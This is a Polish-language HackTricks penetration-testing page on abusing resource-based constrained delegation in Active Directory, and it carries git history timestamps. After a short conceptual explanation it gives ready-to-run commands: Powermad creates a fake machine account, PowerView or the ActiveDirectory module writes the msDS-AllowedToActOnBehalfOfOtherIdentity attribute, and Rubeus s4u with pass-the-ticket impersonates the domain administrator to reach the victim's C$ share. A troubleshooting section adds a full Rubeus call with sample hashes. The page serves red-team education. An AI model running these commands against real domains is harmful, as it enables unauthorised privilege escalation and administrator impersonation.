hacktricks/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md

152 lines
11 KiB
Markdown
Raw Normal View History

# Delegacja ograniczona oparta na zasobach
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-01-02 18:28:04 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 01:46:25 +00:00
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Podstawy delegacji ograniczonej opartej na zasobach
Jest to podobne do podstawowej [Delegacji Ograniczonej](constrained-delegation.md) ale **zamiast** nadawania uprawnień **obiektowi do podszycia się pod dowolnego użytkownika wobec usługi**. Delegacja ograniczona oparta na zasobach **ustawia w obiekcie, kto może podszycić się pod dowolnego użytkownika wobec niego**.
W tym przypadku obiekt ograniczony będzie miał atrybut o nazwie _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ z nazwą użytkownika, który może podszycić się pod dowolnego innego użytkownika wobec niego.
Inną ważną różnicą w tej Delegacji Ograniczonej w porównaniu do innych delegacji jest to, że każdy użytkownik z **uprawnieniami do zapisu nad kontem komputera** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) może ustawić _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ (w innych formach Delegacji potrzebne były uprawnienia administratora domeny).
2024-02-11 01:46:25 +00:00
### Nowe pojęcia
W przypadku Delegacji Ograniczonej mówiono, że flaga **`TrustedToAuthForDelegation`** wewnątrz wartości _userAccountControl_ użytkownika jest potrzebna do wykonania **S4U2Self**. Ale to nie do końca prawda.\
Rzeczywistość jest taka, że nawet bez tej wartości można wykonać **S4U2Self** wobec dowolnego użytkownika, jeśli jesteś **usługą** (masz SPN), ale jeśli **masz `TrustedToAuthForDelegation`** zwrócony TGS będzie **Forwardable**, a jeśli **nie masz** tej flagi, zwrócony TGS **nie** będzie **Forwardable**.
Jednak jeśli **TGS** używany w **S4U2Proxy** **NIE jest Forwardable**, próba wykorzystania **podstawowej Delegacji Ograniczonej** **nie zadziała**. Ale jeśli próbujesz wykorzystać **delegację ograniczoną opartą na zasobach, zadziała** (to nie jest podatność, to funkcja, najwyraźniej).
2024-02-11 01:46:25 +00:00
### Struktura ataku
> Jeśli masz **uprawnienia równoważne zapisu** nad kontem **komputera**, możesz uzyskać **uprzywilejowany dostęp** do tego komputera.
Załóżmy, że atakujący ma już **uprawnienia równoważne zapisu nad komputerem ofiary**.
1. Atakujący **kompromituje** konto, które ma **SPN** lub **tworzy je** ("Usługa A"). Zauważ, że **dowolny** _Użytkownik Admin_ bez żadnych innych specjalnych uprawnień może **utworzyć** aż do 10 **obiektów komputerowych (**_**MachineAccountQuota**_**)** i nadać im SPN. Więc atakujący może po prostu utworzyć obiekt komputera i nadać mu SPN.
2. Atakujący **wykorzystuje swoje uprawnienia DO ZAPISU** nad komputerem ofiary (UsługaB), aby skonfigurować **delegację ograniczoną opartą na zasobach, pozwalającą UsłudzeA na podszycie się pod dowolnego użytkownika** wobec tego komputera ofiary (UsługaB).
3. Atakujący używa narzędzia Rubeus do przeprowadzenia **pełnego ataku S4U** (S4U2Self i S4U2Proxy) z Usługi A na Usługę B dla użytkownika **z uprzywilejowanym dostępem do Usługi B**.
1. S4U2Self (z kompromitowanego/utworzonego konta SPN): Prośba o **TGS Administratora do mnie** (Nie Forwardable).
2. S4U2Proxy: Użyj **nie Forwardable TGS** z poprzedniego kroku, aby poprosić o **TGS** od **Administratora** do **komputera ofiary**.
3. Nawet jeśli używasz nie Forwardable TGS, ponieważ wykorzystujesz delegację ograniczoną opartą na zasobach, zadziała.
4. Atakujący może **przekazać bilet** i **podszycić się** pod użytkownika, aby uzyskać **dostęp do UsługiB ofiary**.
2024-02-11 01:46:25 +00:00
Aby sprawdzić _**MachineAccountQuota**_ domeny, można użyć:
2024-02-08 03:06:37 +00:00
```powershell
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
```
2024-02-11 01:46:25 +00:00
## Atak
2024-02-11 01:46:25 +00:00
### Tworzenie obiektu komputera
Możesz utworzyć obiekt komputera wewnątrz domeny za pomocą [powermad](https://github.com/Kevin-Robertson/Powermad)**:**
2024-02-08 03:06:37 +00:00
```powershell
import-module powermad
2022-09-03 00:18:00 +00:00
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
2024-02-08 03:06:37 +00:00
# Check if created
Get-DomainComputer SERVICEA
```
### Konfigurowanie Ograniczonej Delegacji Opartej na **Zasobach**
**Za pomocą modułu PowerShell activedirectory**
2024-02-08 03:06:37 +00:00
```powershell
2022-09-03 00:18:00 +00:00
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
2021-01-04 17:35:09 +00:00
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
```
**Za pomocą powerview**
2024-02-08 03:06:37 +00:00
```powershell
2021-01-04 17:35:09 +00:00
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'
msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}
```
### Wykonanie kompletnego ataku S4U
2021-01-04 17:35:09 +00:00
Po pierwsze, utworzyliśmy nowy obiekt komputera z hasłem `123456`, więc potrzebujemy hasha tego hasła:
```bash
2021-01-04 10:44:22 +00:00
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
```
2024-02-11 01:46:25 +00:00
To wydrukuje hashe RC4 i AES dla tego konta.\
Teraz atak może zostać przeprowadzony:
```bash
2021-01-04 17:35:09 +00:00
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
```
Możesz generować więcej biletów, pytając tylko raz, używając parametru `/altservice` Rubeusa:
2021-01-04 10:44:22 +00:00
```bash
2021-01-04 15:01:06 +00:00
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
2021-01-04 10:44:22 +00:00
```
2021-01-04 17:35:09 +00:00
{% hint style="danger" %}
Zauważ, że użytkownicy mają atrybut o nazwie "**Nie można delegować**". Jeśli użytkownik ma ten atrybut ustawiony na True, nie będziesz w stanie się pod niego podszyć. Właściwość ta może być zobaczona w Bloodhound.
2021-01-04 17:35:09 +00:00
{% endhint %}
### Dostęp
Ostatnia linia poleceń przeprowadzi **pełne atak S4U i wstrzyknie TGS** od Administratora do hosta ofiary w **pamięci**.\
W tym przykładzie został żądany TGS dla usługi **CIFS** od Administratora, dzięki czemu będziesz mógł uzyskać dostęp do **C$**:
```bash
ls \\victim.domain.local\C$
```
### Nadużywanie różnych biletów usług
Dowiedz się o [**dostępnych biletach usług tutaj**](silver-ticket.md#available-services).
2021-01-04 22:37:21 +00:00
2024-02-11 01:46:25 +00:00
## Błędy Kerberosa
2021-01-04 10:44:22 +00:00
* **`KDC_ERR_ETYPE_NOTSUPP`**: Oznacza to, że Kerberos jest skonfigurowany tak, aby nie używać DES ani RC4, a ty dostarczasz tylko skrót RC4. Dostarcz do Rubeusa co najmniej skrót AES256 (lub po prostu dostarcz skróty rc4, aes128 i aes256). Przykład: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
* **`KRB_AP_ERR_SKEW`**: Oznacza to, że czas bieżącego komputera różni się od czasu kontrolera domeny (DC), a Kerberos nie działa poprawnie.
* **`preauth_failed`**: Oznacza to, że podane nazwa użytkownika + skróty nie działają przy logowaniu. Możliwe, że zapomniałeś dodać "$" wewnątrz nazwy użytkownika podczas generowania skrótów (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
2024-02-11 01:46:25 +00:00
* **`KDC_ERR_BADOPTION`**: Może to oznaczać:
* Użytkownik, którego próbujesz podrobić, nie może uzyskać dostępu do żądanej usługi (ponieważ nie możesz go podrobić lub nie ma wystarczających uprawnień)
* Żądana usługa nie istnieje (jeśli prosisz o bilet dla winrm, a winrm nie jest uruchomiony)
* Stworzony fakecomputer stracił uprawnienia na podatnym serwerze i musisz je przywrócić.
2021-01-04 10:44:22 +00:00
## Odnośniki
2022-09-03 00:18:00 +00:00
* [https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
* [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/)
* [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
* [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
2022-04-28 16:01:33 +00:00
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2024-01-02 18:28:04 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 01:46:25 +00:00
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub grupy [**telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>